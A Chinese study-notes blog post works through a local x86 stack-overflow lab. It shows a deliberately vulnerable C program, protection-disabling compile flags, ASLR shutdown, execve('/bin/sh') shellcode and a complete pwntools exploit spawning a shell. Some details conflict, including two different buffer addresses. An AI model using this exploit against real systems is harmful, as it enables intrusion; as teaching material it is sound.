1. 程式人生 > >關於蒸米的一步一步學ROP之linux_x86的學習筆記

關於蒸米的一步一步學ROP之linux_x86的學習筆記

寫在開頭:level2沒有原始碼,所以第二個“Ret2libc – Bypass DEP 通過ret2libc繞過DEP防護”做不動……另外socat還沒學會用==,按照步驟輸入命令後一直沒反應,也不知道怎麼辦,所以後面的遠端攻擊也沒法進行……於是只做了第一個Control Flow Hijack 程式流劫持
原文地址:http://jaq.alibaba.com/community/art/show?spm=a313e.7916646.24000001.11.MtR4jX&articleid=403

首先來看這個有明顯緩衝區溢位的程式:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); } int main(int argc, char** argv) { vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n", 13); }

裡面使用的read函式是從輸入中讀取256個位元組放入buf中,但buf只定義了128個位元組,所以會發生緩衝區溢位

使用命令:

gcc -fno-stack-protector -z execstack -o level1 level1.c

編譯程式,-fno-stack-protector和-z execstack這兩個引數會分別關掉DEP和Stack Protector

接下來輸入指令關閉ASLR

sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space

(注:原文中還有exit指令退出root模式,但如果退出,會得不到結果,即攻擊失敗,也可能是中間某些步驟自己沒理解意思。最終還是在root下繼續進行,才成功完成)

接下來開始對目標程式進行分析。首先先來確定溢位點的位置,這裡使用pattern.py這個指令碼來進行計算。使用如下命令:

python pattern.py create 150

來生成一串測試用的150個位元組的字串
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

使用gdb ./level1 除錯程式
這裡寫圖片描述
可以得到記憶體出錯的地址為0x37654136
之後使用命令:

python pattern.py offset 0x37654136

得到結果
hex pattern decoded as: 6Ae7
140

所以PC返回值的覆蓋點為140個位元組。我們只要構造一個”A”*140+ret字串,就可以讓pc執行ret地址上的程式碼了。
接下來我們需要一段shellcode,可以用msf生成,或者自己反編譯一下。這裡我們使用一段最簡單的執行execve (“/bin/sh”)命令的語句作為shellcode。

xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f ;; hs//
push 0x6e69622f ;; nib/
mov ebx, esp
mov al, 11
int 0x80

所以得到shellcode如下:
shellcode = “\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73”
shellcode += “\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0”
shellcode += “\x0b\xcd\x80”
這些十六進位制數都對應著上面彙編指令的運算碼,把他們一個個列出來後組裝起來,這樣就能把我們的攻擊程式碼傳給漏洞程式。

下一步是控制PC跳轉到shellcode的地址上
正常的思維是使用gdb除錯目標程式,然後檢視記憶體來確定shellcode的位置。但當你真的執行exp的時候你會發現shellcode壓根就不在這個地址上!

原因是gdb的除錯環境會影響buf在記憶體中的位置,雖然我們關閉了ASLR,但這隻能保證buf的地址在gdb的除錯環境中不變,但當我們直接執行./level1的時候,buf的位置會固定在別的地址上。、

解決這個問題最簡單的方法就是開啟core dump這個功能。使用命令

ulimit -c unlimited
sudo sh -c ‘echo “/tmp/core.%t” > /proc/sys/kernel/core_pattern’

開啟之後,當出現記憶體錯誤的時候,系統會生成一個core dump檔案在tmp目錄下。然後我們再用gdb檢視這個core檔案就可以獲取到buf真正的地址了。

執行leve1,故意使它發生段錯誤,從而找到buf地址
這裡寫圖片描述
因為溢位點是140個位元組,再加上4個位元組的ret地址,我們可以計算出buffer的地址為$esp-144。
這裡寫圖片描述
所以buf的地址是0xbffff640

下面可以寫exp了,寫exp的話,原文作者強烈推薦pwntools這個工具,因為它可以非常方便的做到本地除錯和遠端攻擊的轉換。本地測試成功後只需要簡單的修改一條語句就可以馬上進行遠端攻擊。他們之間的區別是:

p = process(‘./level1’) #本地測試
p = remote(‘127.0.0.1’,10001) #遠端攻擊

最終的本地測試程式碼如下:

#!/usr/bin/env python
from pwn import *

p = process('./level1') 
ret = 0xbffff290

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

# p32(ret) == struct.pack("<I",ret) 
#對ret進行編碼,將地址轉換成記憶體中的二進位制儲存形式
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)

p.send(payload) #傳送payload

p.interactive()  #開啟互動shell

執行exp:
這裡寫圖片描述
指令whoami是作業系統中用於檢視當前有效使用者名稱的命令,結果為當前使用的root使用者,正確。

後面涉及到socat的把這個目標程式作為一個服務繫結到伺服器的某個埠上前面提到完成不了,所以先做到這樣,有待以後更加深入學習後補充。